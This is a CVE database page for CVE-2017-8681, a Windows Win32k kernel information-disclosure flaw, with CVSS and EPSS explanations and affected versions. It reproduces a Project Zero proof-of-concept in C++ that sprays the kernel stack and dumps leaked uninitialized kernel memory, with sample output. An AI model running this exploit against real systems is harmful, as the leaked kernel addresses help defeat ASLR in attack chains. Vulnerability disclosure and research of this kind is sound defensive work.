CVE-2017-8681 : Detail

CVE-2017-8681

5.5
/
Medium
A01-Broken Access Control
20.35%V4
Local
2017-09-13
01h00 +00:00
2024-09-16
19h05 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8678, CVE-2017-8680, CVE-2017-8677, and CVE-2017-8687.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42742

Publication date : 2017-09-17 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1268 We have discovered that the nt!NtGdiGetPhysicalMonitorDescription system call discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. This is caused by the fact that the syscall copies a whole stack-based array of 256 bytes (128 wide-chars) to the caller, but typically only a small portion of the buffer is used to store the requested monitor description, while the rest of it remains uninitialized. This memory region contains sensitive information such as addresses of executable images, kernel stack, kernel pools and stack cookies. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows: --- cut --- 00000000: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. . 00000010: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. . 00000020: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r... 00000030: 74 00 6f 00 72 00 2e 00 64 00 65 00 76 00 69 00 t.o.r...d.e.v.i. 00000040: 63 00 65 00 64 00 65 00 73 00 63 00 25 00 3b 00 c.e.d.e.s.c.%.;. 00000050: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. . 00000060: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. . 00000070: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r... 00000080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA --- cut --- If the stack spraying part of the PoC code is disabled, we can immediately observe various kernel-mode addresses in the dumped memory area. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <PhysicalMonitorEnumerationAPI.h> #include <cstdio> extern "C" NTSTATUS WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); NTSTATUS(WINAPI *GetPhysicalMonitorDescription)( _In_ HANDLE hMonitor, _In_ DWORD dwPhysicalMonitorDescriptionSizeInChars, _Out_ LPWSTR szPhysicalMonitorDescription ); #define PHYSICAL_MONITOR_DESCRIPTION_SIZE 128 #define STATUS_SUCCESS 0 VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) { PBYTE _ptr = (PBYTE)ptr; for (ULONG i = 0; i < size; i++) { _ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static SIZE_T buffer[1024]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { WCHAR OutputBuffer[PHYSICAL_MONITOR_DESCRIPTION_SIZE]; HMODULE hGdi32 = LoadLibrary(L"gdi32.dll"); GetPhysicalMonitorDescription = (NTSTATUS(WINAPI *)(HANDLE, DWORD, LPWSTR))GetProcAddress(hGdi32, "GetPhysicalMonitorDescription"); // Create a window for referencing a monitor. HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0); ///////////////////////////////////////////////////////////////////////////// // Source: https://msdn.microsoft.com/en-us/library/windows/desktop/dd692950(v=vs.85).aspx ///////////////////////////////////////////////////////////////////////////// HMONITOR hMonitor = NULL; DWORD cPhysicalMonitors; LPPHYSICAL_MONITOR pPhysicalMonitors = NULL; // Get the monitor handle. hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTOPRIMARY); // Get the number of physical monitors. BOOL bSuccess = GetNumberOfPhysicalMonitorsFromHMONITOR(hMonitor, &cPhysicalMonitors); if (bSuccess) { // Allocate the array of PHYSICAL_MONITOR structures. pPhysicalMonitors = (LPPHYSICAL_MONITOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cPhysicalMonitors * sizeof(PHYSICAL_MONITOR)); if (pPhysicalMonitors != NULL) { // Get the array. bSuccess = GetPhysicalMonitorsFromHMONITOR(hMonitor, cPhysicalMonitors, pPhysicalMonitors); if (bSuccess) { for (DWORD i = 0; i < cPhysicalMonitors; i++) { RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); SprayKernelStack(); NTSTATUS st = GetPhysicalMonitorDescription(pPhysicalMonitors[i].hPhysicalMonitor, PHYSICAL_MONITOR_DESCRIPTION_SIZE, OutputBuffer); if (st == STATUS_SUCCESS) { PrintHex((PBYTE)OutputBuffer, sizeof(OutputBuffer)); } else { printf("[-] GetPhysicalMonitorDescription failed, %x\n", st); } } // Close the monitor handles. bSuccess = DestroyPhysicalMonitors(cPhysicalMonitors, pPhysicalMonitors); } // Free the array. HeapFree(GetProcessHeap(), 0, pPhysicalMonitors); } } DestroyWindow(hwnd); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securityfocus.com/bid/100727
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039338
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42742/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.